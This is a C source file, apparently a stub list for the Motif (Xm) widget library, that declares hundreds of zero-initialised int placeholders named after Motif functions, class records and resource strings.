int _XmSdropSiteManagerClass = 0;
|
||||
int _XmSdropSiteOperations = 0;
|
||||
int _XmSdropSiteType = 0;
|
||||
int _XmSdropStartCallback = 0;
|
||||
int _XmSdropTransferClass = 0;
|
||||
int _XmSdropTransfers = 0;
|
||||
int _XmSearchColorCache = 0;
|
||||
int _XmSecondaryResourceData = 0;
|
||||
int _XmSeditable = 0;
|
||||
int _XmSeditMode = 0;
|
||||
int _XmSelectColorDefault = 0;
|
||||
int _XmSelectioB_defaultTextAccelerators = 0;
|
||||
int xmSelectionBoxClassRec = 0;
|
||||
int _XmSelectionBoxCreateApplyButton = 0;
|
||||
int _XmSelectionBoxCreateCancelButton = 0;
|
||||
int _XmSelectionBoxCreateHelpButton = 0;
|
||||
int _XmSelectionBoxCreateList = 0;
|
||||
int _XmSelectionBoxCreateListLabel = 0;
|
||||
int _XmSelectionBoxCreateOkButton = 0;
|
||||
int _XmSelectionBoxCreateSelectionLabel = 0;
|
||||
int _XmSelectionBoxCreateSeparator = 0;
|
||||
int _XmSelectionBoxCreateText = 0;
|
||||
int _XmSelectionBoxGeoMatrixCreate = 0;
|
||||
int _XmSelectionBoxGetApplyLabelString = 0;
|
||||
int _XmSelectionBoxGetCancelLabelString = 0;
|
||||
int XmSelectionBoxGetChild = 0;
|
||||
int _XmSelectionBoxGetHelpLabelString = 0;
|
||||
int _XmSelectionBoxGetListItemCount = 0;
|
||||
int _XmSelectionBoxGetListItems = 0;
|
||||
int _XmSelectionBoxGetListLabelString = 0;
|
||||
int _XmSelectionBoxGetListVisibleItemCount = 0;
|
||||
int _XmSelectionBoxGetOkLabelString = 0;
|
||||
int _XmSelectionBoxGetSelectionLabelString = 0;
|
||||
int _XmSelectionBoxGetTextColumns = 0;
|
||||
int _XmSelectionBoxGetTextString = 0;
|
||||
int _XmSelectionBoxNoGeoRequest = 0;
|
||||
int _XmSelectionBoxRestore = 0;
|
||||
int _XmSelectionBoxUpOrDown = 0;
|
||||
int xmSelectionBoxWidgetClass = 0;
|
||||
int _XmSEMPTY_STRING = 0;
|
||||
int _XmSendICCCallback = 0;
|
||||
int _XmSentryAlignment = 0;
|
||||
int _XmSentryBorder = 0;
|
||||
int _XmSentryCallback = 0;
|
||||
int _XmSentryClass = 0;
|
||||
int _XmSentryVerticalAlignment = 0;
|
||||
int _XmSeparatorCacheCompare = 0;
|
||||
int xmSeparatorClassRec = 0;
|
||||
int _XmSeparatorFix = 0;
|
||||
int xmSeparatorGadgetClass = 0;
|
||||
int xmSeparatorGadgetClassRec = 0;
|
||||
int xmSeparatorGCacheObjClassRec = 0;
|
||||
int xmSeparatorWidgetClass = 0;
|
||||
int _XmSetActiveTabGroup = 0;
|
||||
int _XmSetActualClass = 0;
|
||||
int XmSetColorCalculation = 0;
|
||||
int _XmSetDefaultBackgroundColorSpec = 0;
|
||||
int _XmSetDestination = 0;
|
||||
int _XmSetDragReceiverInfo = 0;
|
||||
int _XmSetEtchedSlider = 0;
|
||||
int _XmSetFocusFlag = 0;
|
||||
int _XmSetFocusResetFlag = 0;
|
||||
int XmSetFontUnit = 0;
|
||||
int XmSetFontUnits = 0;
|
||||
int _XmSetInDragMode = 0;
|
||||
int _XmSetInitialOfTabGraph = 0;
|
||||
int _XmSetInitialOfTabGroup = 0;
|
||||
int _XmSetKidGeo = 0;
|
||||
int _XmSetLastManagedMenuTime = 0;
|
||||
int XmSetMenuCursor = 0;
|
||||
int _XmSetMenuTraversal = 0;
|
||||
int _XmSetPopupMenuClick = 0;
|
||||
int XmSetProtocolHooks = 0;
|
||||
int _XmSetRect = 0;
|
||||
int _XmSetSwallowEventHandler = 0;
|
||||
int _XmSetThickness = 0;
|
||||
int _XmSetThicknessDefault0 = 0;
|
||||
int XmSetToolTipString = 0;
|
||||
int _XmSetTransientFlag = 0;
|
||||
int _XmSetValuesOnChildren = 0;
|
||||
int _XmSetXmDisplayClass = 0;
|
||||
int _XmSexportTargets = 0;
|
||||
int _XmSexposeCallback = 0;
|
||||
int _XmSextendedSelectionCallback = 0;
|
||||
int _XmSextensionType = 0;
|
||||
int _XmSFAddNavigator = 0;
|
||||
int _XmSfileListItemCount = 0;
|
||||
int _XmSfileListItems = 0;
|
||||
int _XmSfileListLabelString = 0;
|
||||
int _XmSfileSearchProc = 0;
|
||||
int _XmSfileTypeMask = 0;
|
||||
int _XmSfillOnArm = 0;
|
||||
int _XmSfillOnSelect = 0;
|
||||
int _XmSfilterLabelString = 0;
|
||||
int _XmSfocusCallback = 0;
|
||||
int _XmSfocusMovedCallback = 0;
|
||||
int _XmSfocusPolicyChanged = 0;
|
||||
int _XmSfontList = 0;
|
||||
int _XmSforegroundThreshold = 0;
|
||||
int _XmSfractionBase = 0;
|
||||
int _XmSFRemoveNavigator = 0;
|
||||
int _XmSFUpdateNavigatorsValue = 0;
|
||||
int _XmSgainPrimaryCallback = 0;
|
||||
int xmShellExtClassRec = 0;
|
||||
int xmShellExtObjectClass = 0;
|
||||
int _XmShellIsExclusive = 0;
|
||||
int _XmShelpCallback = 0;
|
||||
int _XmShelpLabelString = 0;
|
||||
int _XmShighlightColor = 0;
|
||||
int _XmShighlightOnEnter = 0;
|
||||
int _XmShighlightPixmap = 0;
|
||||
int _XmShighlightThickness = 0;
|
||||
int _XmShistoryItemCount = 0;
|
||||
int _XmShistoryItems = 0;
|
||||
int _XmShistoryMaxItems = 0;
|
||||
int _XmShistoryVisibleItemCount = 0;
|
||||
int _XmShorizontalFontUnit = 0;
|
||||
int _XmShorizontalScrollBar = 0;
|
||||
int _XmShorizontalSpacing = 0;
|
||||
int _XmShotX = 0;
|
||||
int _XmShotY = 0;
|
||||
int _XmSiccHandle = 0;
|
||||
int XmSimpleSpinBoxAddItem = 0;
|
||||
int xmSimpleSpinBoxClassRec = 0;
|
||||
int XmSimpleSpinBoxDeletePos = 0;
|
||||
int XmSimpleSpinBoxSetItem = 0;
|
||||
int xmSimpleSpinBoxWidgetClass = 0;
|
||||
int _XmSimportTargets = 0;
|
||||
int _XmSincrement = 0;
|
||||
int _XmSincremental = 0;
|
||||
int _XmSincrementCallback = 0;
|
||||
int _XmSindicatorOn = 0;
|
||||
int _XmSindicatorSize = 0;
|
||||
int _XmSindicatorType = 0;
|
||||
int _XmSinitialDelay = 0;
|
||||
int _XmSinitialFocus = 0;
|
||||
int _XmSinputCallback = 0;
|
||||
int _XmSinputCreate = 0;
|
||||
int _XmSinputMethod = 0;
|
||||
int _XmSinvalidCursorForeground = 0;
|
||||
int _XmSisAligned = 0;
|
||||
int _XmSisHomogeneous = 0;
|
||||
int _XmSitemCount = 0;
|
||||
int _XmSitems = 0;
|
||||
int _XmSkeyboardFocusPolicy = 0;
|
||||
int _XmSlabelFontList = 0;
|
||||
int _XmSlabelInsensitivePixmap = 0;
|
||||
int _XmSlabelPixmap = 0;
|
||||
int _XmSlabelString = 0;
|
||||
int _XmSlabelType = 0;
|
||||
int _XmSleep = 0;
|
||||
int _XmSleftAttachment = 0;
|
||||
int _XmSleftOffset = 0;
|
||||
int _XmSleftPosition = 0;
|
||||
int _XmSleftWidget = 0;
|
||||
int xmSlideContextClassRec = 0;
|
||||
int xmSlideContextWidgetClass = 0;
|
||||
int _XmSlightThreshold = 0;
|
||||
int _XmSlistItemCount = 0;
|
||||
int _XmSlistItems = 0;
|
||||
int _XmSlistLabelString = 0;
|
||||
int _XmSlistMarginHeight = 0;
|
||||
int _XmSlistMarginWidth = 0;
|
||||
int _XmSlistSizePolicy = 0;
|
||||
int _XmSlistSpacing = 0;
|
||||
int _XmSlistUpdated = 0;
|
||||
int _XmSlistVisibleItemCount = 0;
|
||||
int _XmSlogicalParent = 0;
|
||||
int _XmSlosePrimaryCallback = 0;
|
||||
int _XmSlosingFocusCallback = 0;
|
||||
int _XmSmainWindowMarginHeight = 0;
|
||||
int _XmSmainWindowMarginWidth = 0;
|
||||
int _XmSmapCallback = 0;
|
||||
int _XmSmappingDelay = 0;
|
||||
int _XmSmargin = 0;
|
||||
int _XmSmarginBottom = 0;
|
||||
int _XmSmarginHeight = 0;
|
||||
int _XmSmarginLeft = 0;
|
||||
int _XmSmarginRight = 0;
|
||||
int _XmSmarginTop = 0;
|
||||
int _XmSmarginWidth = 0;
|
||||
int _XmSmask = 0;
|
||||
int _XmSmaximum = 0;
|
||||
int _XmSmaxLength = 0;
|
||||
int _XmSmenuAccelerator = 0;
|
||||
int _XmSmenuBar = 0;
|
||||
int _XmSmenuCursor = 0;
|
||||
int _XmSmenuHelpWidget = 0;
|
||||
int _XmSmenuHistory = 0;
|
||||
int _XmSmenuPost = 0;
|
||||
int _XmSmessageAlignment = 0;
|
||||
int _XmSmessageProc = 0;
|
||||
int _XmSmessageString = 0;
|
||||
int _XmSmessageWindow = 0;
|
||||
int _XmSminimizeButtons = 0;
|
||||
int _XmSminimum = 0;
|
||||
int _XmSmnemonic = 0;
|
||||
int _XmSmnemonicCharSet = 0;
|
||||
int _XmSmodifyVerifyCallback = 0;
|
||||
int _XmSmodifyVerifyCallbackWcs = 0;
|
||||
int _XmSmotionVerifyCallback = 0;
|
||||
int _XmSmoveOpaque = 0;
|
||||
int _XmSmultiClick = 0;
|
||||
int _XmSmultipleSelectionCallback = 0;
|
||||
int _XmSmustMatch = 0;
|
||||
int _XmSmwmDecorations = 0;
|
||||
int _XmSmwmFunctions = 0;
|
||||
int _XmSmwmInputMode = 0;
|
||||
int _XmSmwmMenu = 0;
|
||||
int _XmSmwmMessages = 0;
|
||||
int _XmSnavigationType = 0;
|
||||
int _XmSneedsMotion = 0;
|
||||
int _XmSnoMatchCallback = 0;
|
||||
int _XmSnoMatchString = 0;
|
||||
int _XmSnoneCursorForeground = 0;
|
||||
int _XmSnoResize = 0;
|
||||
int _XmSnotifyProc = 0;
|
||||
int _XmSnumColumns = 0;
|
||||
int _XmSnumDropRectangles = 0;
|
||||
int _XmSnumDropTransfers = 0;
|
||||
int _XmSnumExportTargets = 0;
|
||||
int _XmSnumImportTargets = 0;
|
||||
int _XmSnumRectangles = 0;
|
||||
int _XmSocorro = 0;
|
||||
int _XmSoffsetX = 0;
|
||||
int _XmSoffsetY = 0;
|
||||
int _XmSokCallback = 0;
|
||||
int _XmSokLabelString = 0;
|
||||
int _XmSoperationChangedCallback = 0;
|
||||
int _XmSoperationCursorIcon = 0;
|
||||
int _XmSoptionLabel = 0;
|
||||
int _XmSoptionMnemonic = 0;
|
||||
int _XmSortResourceList = 0;
|
||||
int _XmSosfActivate = 0;
|
||||
int _XmSosfAddMode = 0;
|
||||
int _XmSosfBackSpace = 0;
|
||||
int _XmSosfBeginLine = 0;
|
||||
int _XmSosfCancel = 0;
|
||||
int _XmSosfClear = 0;
|
||||
int _XmSosfCopy = 0;
|
||||
int _XmSosfCut = 0;
|
||||
int _XmSosfDelete = 0;
|
||||
int _XmSosfDown = 0;
|
||||
int _XmSosfEndLine = 0;
|
||||
int _XmSosfHelp = 0;
|
||||
int _XmSosfInsert = 0;
|
||||
int _XmSosfLeft = 0;
|
||||
int _XmSosfMenu = 0;
|
||||
int _XmSosfMenuBar = 0;
|
||||
int _XmSosfPageDown = 0;
|
||||
int _XmSosfPageLeft = 0;
|
||||
int _XmSosfPageRight = 0;
|
||||
int _XmSosfPageUp = 0;
|
||||
int _XmSosfPaste = 0;
|
||||
int _XmSosfPrimaryPaste = 0;
|
||||
int _XmSosfQuickPaste = 0;
|
||||
int _XmSosfRight = 0;
|
||||
int _XmSosfSelect = 0;
|
||||
int _XmSosfUndo = 0;
|
||||
int _XmSosfUp = 0;
|
||||
int _XmSoutputCreate = 0;
|
||||
int _XmSpacking = 0;
|
||||
int _XmSpageDecrementCallback = 0;
|
||||
int _XmSpageIncrement = 0;
|
||||
int _XmSpageIncrementCallback = 0;
|
||||
int _XmSpaneMaximum = 0;
|
||||
int _XmSpaneMinimum = 0;
|
||||
int _XmSpattern = 0;
|
||||
int _XmSpendingDelete = 0;
|
||||
int _XmSpinB_defaultAccelerators = 0;
|
||||
int _XmSpinB_defaultTranslations = 0;
|
||||
int xmSpinBoxClassRec = 0;
|
||||
int XmSpinBoxValidatePosition = 0;
|
||||
int xmSpinBoxWidgetClass = 0;
|
||||
int _XmSpopupEnabled = 0;
|
||||
int _XmSpositionIndex = 0;
|
||||
int _XmSpostFromButton = 0;
|
||||
int _XmSpostFromCount = 0;
|
||||
int _XmSpostFromList = 0;
|
||||
int _XmSpreeditType = 0;
|
||||
int _XmSprocessingDirection = 0;
|
||||
int _XmSpromptString = 0;
|
||||
int _XmSprotocolCallback = 0;
|
||||
int _XmSpushButton = 0;
|
||||
int _XmSpushButtonEnabled = 0;
|
||||
int _XmSqualifySearchDataProc = 0;
|
||||
int _XmSradioAlwaysOne = 0;
|
||||
int _XmSradioBehavior = 0;
|
||||
int _XmSradioButton = 0;
|
||||
int _XmSrealizeCallback = 0;
|
||||
int _XmSrecomputeSize = 0;
|
||||
int _XmSrectangles = 0;
|
||||
int _XmSrefigureMode = 0;
|
||||
int _XmSrepeatDelay = 0;
|
||||
int _XmSresizable = 0;
|
||||
int _XmSresizeCallback = 0;
|
||||
int _XmSresizeHeight = 0;
|
||||
int _XmSresizePolicy = 0;
|
||||
int _XmSresizeWidth = 0;
|
||||
int _XmSrightAttachment = 0;
|
||||
int _XmSrightOffset = 0;
|
||||
int _XmSrightPosition = 0;
|
||||
int _XmSrightWidget = 0;
|
||||
int _XmSrowColumnType = 0;
|
||||
int _XmSrows = 0;
|
||||
int _XmSrubberPositioning = 0;
|
||||
int _XmSsashHeight = 0;
|
||||
int _XmSsashIndent = 0;
|
||||
int _XmSsashShadowThickness = 0;
|
||||
int _XmSsashWidth = 0;
|
||||
int _XmSscaleHeight = 0;
|
||||
int _XmSscaleMultiple = 0;
|
||||
int _XmSscaleWidth = 0;
|
||||
int _XmSscrollBarDisplayPolicy = 0;
|
||||
int _XmSscrollBarPlacement = 0;
|
||||
int _XmSscrolledWindowMarginHeight = 0;
|
||||
int _XmSscrolledWindowMarginWidth = 0;
|
||||
int _XmSscrollHorizontal = 0;
|
||||
int _XmSscrollingPolicy = 0;
|
||||
int _XmSscrollLeftSide = 0;
|
||||
int _XmSscrollTopSide = 0;
|
||||
int _XmSscrollVertical = 0;
|
||||
int _XmSselectColor = 0;
|
||||
int _XmSselectedItemCount = 0;
|
||||
int _XmSselectedItems = 0;
|
||||
int _XmSselectInsensitivePixmap = 0;
|
||||
int _XmSselectionArrayCount = 0;
|
||||
int _XmSselectionLabelString = 0;
|
||||
int _XmSselectionPolicy = 0;
|
||||
int _XmSselectPixmap = 0;
|
||||
int _XmSselectThreshold = 0;
|
||||
int _XmSseparator = 0;
|
||||
int _XmSseparatorOn = 0;
|
||||
int _XmSseparatorType = 0;
|
||||
int _XmSset = 0;
|
||||
int _XmSshadow = 0;
|
||||
int _XmSshadowThickness = 0;
|
||||
int _XmSshadowType = 0;
|
||||
int _XmSshellUnitType = 0;
|
||||
int _XmSshowArrows = 0;
|
||||
int _XmSshowAsDefault = 0;
|
||||
int _XmSshowSeparator = 0;
|
||||
int _XmSshowValue = 0;
|
||||
int _XmSsimpleCallback = 0;
|
||||
int _XmSsingleSelectionCallback = 0;
|
||||
int _XmSsingleSeparator = 0;
|
||||
int _XmSsizePolicy = 0;
|
||||
int _XmSskipAdjust = 0;
|
||||
int _XmSsliderSize = 0;
|
||||
int _XmSsource = 0;
|
||||
int _XmSsourceCursorIcon = 0;
|
||||
int _XmSsourceIsExternal = 0;
|
||||
int _XmSsourcePixmapIcon = 0;
|
||||
int _XmSsourceWidget = 0;
|
||||
int _XmSsourceWindow = 0;
|
||||
int _XmSspacing = 0;
|
||||
int _XmSstartTime = 0;
|
||||
int _XmSstateCursorIcon = 0;
|
||||
int _XmSstringDirection = 0;
|
||||
int _XmSsubMenuId = 0;
|
||||
int _XmSsymbolPixmap = 0;
|
||||
int _XmStackFree = 0;
|
||||
int _XmStackInit = 0;
|
||||
int _XmStackPop = 0;
|
||||
int _XmStackPush = 0;
|
||||
int xm_std_constraint_filter = 0;
|
||||
int xm_std_filter = 0;
|
||||
int _XmStearOffMenuActivateCallback = 0;
|
||||
int _XmStearOffMenuDeactivateCallback = 0;
|
||||
int _XmStearOffModel = 0;
|
||||
int _XmStextAccelerators = 0;
|
||||
int _XmStextColumns = 0;
|
||||
int _XmStextFontList = 0;
|
||||
int _XmStextString = 0;
|
||||
int _XmStextTranslations = 0;
|
||||
int _XmStextValue = 0;
|
||||
int _XmStitleString = 0;
|
||||
int _XmStoBottomCallback = 0;
|
||||
int _XmStopAttachment = 0;
|
||||
int _XmStopCharacter = 0;
|
||||
int _XmStopItemPosition = 0;
|
||||
int _XmStopLevelEnterCallback = 0;
|
||||
int _XmStopLevelLeaveCallback = 0;
|
||||
int _XmStopOffset = 0;
|
||||
int _XmStoPositionCallback = 0;
|
||||
int _XmStopPosition = 0;
|
||||
int _XmStopShadowColor = 0;
|
||||
int _XmStopShadowPixmap = 0;
|
||||
int _XmStopWidget = 0;
|
||||
int _XmStoTopCallback = 0;
|
||||
int _XmStransferProc = 0;
|
||||
int _XmStransferStatus = 0;
|
||||
int _XmStraversalCallback = 0;
|
||||
int _XmStraversalOn = 0;
|
||||
int _XmStraversalType = 0;
|
||||
int _XmStraverseObscuredCallback = 0;
|
||||
int _XmStreeUpdateProc = 0;
|
||||
int _XmStringBaseline = 0;
|
||||
int XmStringBaseline = 0;
|
||||
int _XmStringByteCompare = 0;
|
||||
int XmStringByteCompare = 0;
|
||||
int XmStringByteStreamLength = 0;
|
||||
int _XmStringCacheFree = 0;
|
||||
int _XmStringCacheGet = 0;
|
||||
int _XmStringCacheTag = 0;
|
||||
int _XmStringCharacterCount = 0;
|
||||
int XmStringCompare = 0;
|
||||
int XmStringComponentCreate = 0;
|
||||
int XmStringConcat = 0;
|
||||
int XmStringConcatAndFree = 0;
|
||||
int _XmStringContextCopy = 0;
|
||||
int _XmStringContextFree = 0;
|
||||
int _XmStringContextReInit = 0;
|
||||
int _XmStringCopy = 0;
|
||||
int XmStringCopy = 0;
|
||||
int _XmStringCreate = 0;
|
||||
int XmStringCreate = 0;
|
||||
int _XmStringCreateExternal = 0;
|
||||
int XmStringCreateFontList = 0;
|
||||
int XmStringCreateFontList_r = 0;
|
||||
int XmStringCreateLocalized = 0;
|
||||
int XmStringCreateLtoR = 0;
|
||||
int XmStringCreateSimple = 0;
|
||||
int XmStringDirectionCreate = 0;
|
||||
int XmStringDirectionToDirection = 0;
|
||||
int _XmStringDraw = 0;
|
||||
int XmStringDraw = 0;
|
||||
int _XmStringDrawImage = 0;
|
||||
int XmStringDrawImage = 0;
|
||||
int _XmStringDrawLining = 0;
|
||||
int _XmStringDrawMnemonic = 0;
|
||||
int _XmStringDrawSegment = 0;
|
||||
int _XmStringDrawUnderline = 0;
|
||||
int XmStringDrawUnderline = 0;
|
||||
int _XmStringEmpty = 0;
|
||||
int XmStringEmpty = 0;
|
||||
int _XmStringEntryCopy = 0;
|
||||
int _XmStringEntryFree = 0;
|
||||
int _XmStringExtent = 0;
|
||||
int XmStringExtent = 0;
|
||||
int _XmStringFree = 0;
|
||||
int XmStringFree = 0;
|
||||
int _XmStringFreeContext = 0;
|
||||
int XmStringFreeContext = 0;
|
||||
int XmStringGenerate = 0;
|
||||
int _XmStringGetBaselines = 0;
|
||||
int _XmStringGetCurrentCharset = 0;
|
||||
int XmStringGetLtoR = 0;
|
||||
int XmStringGetNextComponent = 0;
|
||||
int _XmStringGetNextSegment = 0;
|
||||
int XmStringGetNextSegment = 0;
|
||||
int _XmStringGetNextTabWidth = 0;
|
||||
int XmStringGetNextTriple = 0;
|
||||
int _XmStringGetSegment = 0;
|
||||
int _XmStringGetTextConcat = 0;
|
||||
int _XmStringHasSubstring = 0;
|
||||
int XmStringHasSubstring = 0;
|
||||
int _XmStringHeight = 0;
|
||||
int XmStringHeight = 0;
|
||||
int _XmStringIndexCacheTag = 0;
|
||||
int _XmStringIndexGetTag = 0;
|
||||
int _XmStringInitContext = 0;
|
||||
int XmStringInitContext = 0;
|
||||
int _XmStringIsCurrentCharset = 0;
|
||||
int XmStringIsVoid = 0;
|
||||
int _XmStringIsXmString = 0;
|
||||
int _XmStringLayout = 0;
|
||||
int XmStringLength = 0;
|
||||
int _XmStringLineCount = 0;
|
||||
int XmStringLineCount = 0;
|
||||
int XmStringLtoRCreate = 0;
|
||||
int XmStringNConcat = 0;
|
||||
int XmStringNCopy = 0;
|
||||
int _XmStringNCreate = 0;
|
||||
int _XmStringOptToNonOpt = 0;
|
||||
int XmStringParseText = 0;
|
||||
int XmStringPeekNextComponent = 0;
|
||||
int XmStringPeekNextTriple = 0;
|
||||
int XmStringPutRendition = 0;
|
||||
int _XmStringRender = 0;
|
||||
int _XmStrings = 0;
|
||||
int _XmStrings22 = 0;
|
||||
int _XmStrings23 = 0;
|
||||
int _XmStringsAreEqual = 0;
|
||||
int XmStringSegmentCreate = 0;
|
||||
int _XmStringSegmentExtents = 0;
|
||||
int _XmStringSegmentNew = 0;
|
||||
int XmStringSeparatorCreate = 0;
|
||||
int _XmStringsI = 0;
|
||||
int _XmStringSingleSegment = 0;
|
||||
int _XmStringSourceCreate = 0;
|
||||
int _XmStringSourceDestroy = 0;
|
||||
int _XmStringSourceFindString = 0;
|
||||
int _XmStringSourceGetEditable = 0;
|
||||
int _XmStringSourceGetMaxLength = 0;
|
||||
int _XmStringSourceGetPending = 0;
|
||||
int _XmStringSourceGetString = 0;
|
||||
int _XmStringSourceGetValue = 0;
|
||||
int _XmStringSourceHasSelection = 0;
|
||||
int _XmStringSourceSetEditable = 0;
|
||||
int _XmStringSourceSetGappedBuffer = 0;
|
||||
int _XmStringSourceSetMaxLength = 0;
|
||||
int _XmStringSourceSetPending = 0;
|
||||
int _XmStringSourceSetValue = 0;
|
||||
int XmStringTableParseStringArray = 0;
|
||||
int XmStringTableProposeTablist = 0;
|
||||
int XmStringTableToXmString = 0;
|
||||
int XmStringTableUnparse = 0;
|
||||
int XmStringToXmStringTable = 0;
|
||||
int _XmStringTruncateASN1 = 0;
|
||||
int _XmStringUngenerate = 0;
|
||||
int XmStringUnparse = 0;
|
||||
int _XmStringUpdate = 0;
|
||||
int _XmStringUpdateWMShellTitle = 0;
|
||||
int _XmStringWidth = 0;
|
||||
int XmStringWidth = 0;
|
||||
int _XmStroughColor = 0;
|
||||
int _XmSunitType = 0;
|
||||
int _XmSunmapCallback = 0;
|
||||
int _XmSunpostBehavior = 0;
|
||||
int _XmSunselectPixmap = 0;
|
||||
int _XmSupdateSliderSize = 0;
|
||||
int _XmSuseAsyncGeometry = 0;
|
||||
int _XmSuserData = 0;
|
||||
int _XmSvalidCursorForeground = 0;
|
||||
int _XmSvalueChangedCallback = 0;
|
||||
int _XmSvalueWcs = 0;
|
||||
int _XmSverifyBell = 0;
|
||||
int _XmSverticalFontUnit = 0;
|
||||
int _XmSverticalScrollBar = 0;
|
||||
int _XmSverticalSpacing = 0;
|
||||
int _XmSvisibleItemCount = 0;
|
||||
int _XmSvisibleWhenOff = 0;
|
||||
int _XmSvisualPolicy = 0;
|
||||
int _XmSWGetClipArea = 0;
|
||||
int _XmSwhichButton = 0;
|
||||
int _XmSWNotifyGeoChange = 0;
|
||||
int _XmSwordWrap = 0;
|
||||
int _XmSworkWindow = 0;
|
||||
int _XmSyncDropSiteTree = 0;
|
||||
int XmTabAttributesFree = 0;
|
||||
int XmTabbedStackListAppend = 0;
|
||||
int _XmTabbedStackListArray = 0;
|
||||
int XmTabbedStackListCompare = 0;
|
||||
int XmTabbedStackListCopy = 0;
|
||||
int _XmTabbedStackListCount = 0;
|
||||
int XmTabbedStackListCreate = 0;
|
||||
int XmTabbedStackListFind = 0;
|
||||
int XmTabbedStackListFree = 0;
|
||||
int _XmTabbedStackListGet = 0;
|
||||
int XmTabbedStackListInsert = 0;
|
||||
int XmTabbedStackListModify = 0;
|
||||
int XmTabbedStackListQuery = 0;
|
||||
int XmTabbedStackListRemove = 0;
|
||||
int XmTabbedStackListSimpleAppend = 0;
|
||||
int XmTabbedStackListSimpleInsert = 0;
|
||||
int XmTabbedStackListSimpleModify = 0;
|
||||
int XmTabbedStackListSimpleQuery = 0;
|
||||
int XmTabbedStackListSimpleRemove = 0;
|
||||
int _XmTabBoxCanvas = 0;
|
||||
int xmTabBoxClassRec = 0;
|
||||
int XmTabBoxGetIndex = 0;
|
||||
int _XmTabBoxGetMaxTabHeight = 0;
|
||||
int _XmTabBoxGetMaxTabWidth = 0;
|
||||
int XmTabBoxGetNumColumns = 0;
|
||||
int XmTabBoxGetNumRows = 0;
|
||||
int _XmTabBoxGetNumRowsColumns = 0;
|
||||
int XmTabBoxGetNumTabs = 0;
|
||||
int _XmTabBoxGetTabHeight = 0;
|
||||
int XmTabBoxGetTabRow = 0;
|
||||
int _XmTabBoxGetTabWidth = 0;
|
||||
int _XmTabBoxSelectTab = 0;
|
||||
int _XmTabBoxStackedGeometry = 0;
|
||||
int xmTabBoxWidgetClass = 0;
|
||||
int XmTabBoxXYToIndex = 0;
|
||||
int xmTabCanvasClassRec = 0;
|
||||
int xmTabCanvasWidgetClass = 0;
|
||||
int _XmTabCopy = 0;
|
||||
int XmTabCreate = 0;
|
||||
int XmTabFree = 0;
|
||||
int XmTabGetValues = 0;
|
||||
int _XmTabListAdd = 0;
|
||||
int XmTabListCopy = 0;
|
||||
int _XmTabListDelete = 0;
|
||||
int XmTabListFree = 0;
|
||||
int _XmTabListGetPosition = 0;
|
||||
int XmTabListGetTab = 0;
|
||||
int XmTabListInsertTabs = 0;
|
||||
int XmTabListRemoveTabs = 0;
|
||||
int XmTabListReplacePositions = 0;
|
||||
int XmTabListTabCount = 0;
|
||||
int XmTabSetValue = 0;
|
||||
int xmTabStackClassRec = 0;
|
||||
int XmTabStackGetSelectedTab = 0;
|
||||
int XmTabStackIndexToWidget = 0;
|
||||
int XmTabStackSelectTab = 0;
|
||||
int xmTabStackWidgetClass = 0;
|
||||
int XmTargetsAreCompatible = 0;
|
||||
int _XmTargetsToIndex = 0;
|
||||
int _XmTearOffB_overrideTranslations = 0;
|
||||
int _XmTearOffBPrimClassExtRec = 0;
|
||||
int _XmTearOffBtnDownEventHandler = 0;
|
||||
int _XmTearOffBtnUpEventHandler = 0;
|
||||
int xmTearOffButtonClassRec = 0;
|
||||
int xmTearOffButtonWidgetClass = 0;
|
||||
int _XmTearOffInitiate = 0;
|
||||
int _XmTestTraversability = 0;
|
||||
int _XmTextAdjustGC = 0;
|
||||
int _XmTextBytesToCharacters = 0;
|
||||
int _XmTextChangeBlinkBehavior = 0;
|
||||
int _XmTextChangeHOffset = 0;
|
||||
int _XmTextChangeVOffset = 0;
|
||||
int _XmTextCharactersToBytes = 0;
|
||||
int xmTextClassRec = 0;
|
||||
int _XmTextClearDestination = 0;
|
||||
int XmTextClearSelection = 0;
|
||||
int _XmTextConvert = 0;
|
||||
int XmTextCopy = 0;
|
||||
int XmTextCopyLink = 0;
|
||||
int _XmTextCountCharacters = 0;
|
||||
int XmTextCut = 0;
|
||||
int _XmTextDestinationVisible = 0;
|
||||
int _XmTextDisableRedisplay = 0;
|
||||
int XmTextDisableRedisplay = 0;
|
||||
int _XmTextDrawDestination = 0;
|
||||
int _XmTextEnableRedisplay = 0;
|
||||
int XmTextEnableRedisplay = 0;
|
||||
int _XmTextEventBindings1 = 0;
|
||||
int _XmTextEventBindings2 = 0;
|
||||
int _XmTextEventBindings3 = 0;
|
||||
int _XmTextF_EventBindings1 = 0;
|
||||
int _XmTextF_EventBindings2 = 0;
|
||||
int _XmTextF_EventBindings3 = 0;
|
||||
int xmTextFieldClassRec = 0;
|
||||
int XmTextFieldClearSelection = 0;
|
||||
int _XmTextFieldConvert = 0;
|
||||
int XmTextFieldCopy = 0;
|
||||
int XmTextFieldCopyLink = 0;
|
||||
int _XmTextFieldCountBytes = 0;
|
||||
int _XmTextFieldCountCharacters = 0;
|
||||
int XmTextFieldCut = 0;
|
||||
int _XmTextFieldDeselectSelection = 0;
|
||||
int _XmTextFieldDestinationVisible = 0;
|
||||
int _XmTextFieldDrawInsertionPoint = 0;
|
||||
int XmTextFieldGetAddMode = 0;
|
||||
int XmTextFieldGetBaseline = 0;
|
||||
int XmTextFieldGetBaseLine = 0;
|
||||
int XmTextFieldGetCursorPosition = 0;
|
||||
int _XmTextFieldGetDropReciever = 0;
|
||||
int XmTextFieldGetEditable = 0;
|
||||
int XmTextFieldGetInsertionPosition = 0;
|
||||
int XmTextFieldGetLastPosition = 0;
|
||||
int XmTextFieldGetMaxLength = 0;
|
||||
int XmTextFieldGetSelection = 0;
|
||||
int XmTextFieldGetSelectionPosition = 0;
|
||||
int XmTextFieldGetSelectionWcs = 0;
|
||||
int XmTextFieldGetString = 0;
|
||||
int XmTextFieldGetStringWcs = 0;
|
||||
int XmTextFieldGetSubstring = 0;
|
||||
int XmTextFieldGetSubstringWcs = 0;
|
||||
int _XmTextFieldHandleSecondaryFinished = 0;
|
||||
int XmTextFieldInsert = 0;
|
||||
int XmTextFieldInsertWcs = 0;
|
||||
int _XmTextFieldInstallTransferTrait = 0;
|
||||
int _XmTextFieldLoseSelection = 0;
|
||||
int XmTextFieldPaste = 0;
|
||||
int XmTextFieldPasteLink = 0;
|
||||
int XmTextFieldPosToXY = 0;
|
||||
int XmTextFieldRemove = 0;
|
||||
int XmTextFieldReplace = 0;
|
||||
int _XmTextFieldReplaceText = 0;
|
||||
int XmTextFieldReplaceWcs = 0;
|
||||
int XmTextFieldSetAddMode = 0;
|
||||
int _XmTextFieldSetClipRect = 0;
|
||||
int _XmTextFieldSetCursorPosition = 0;
|
||||
int XmTextFieldSetCursorPosition = 0;
|
||||
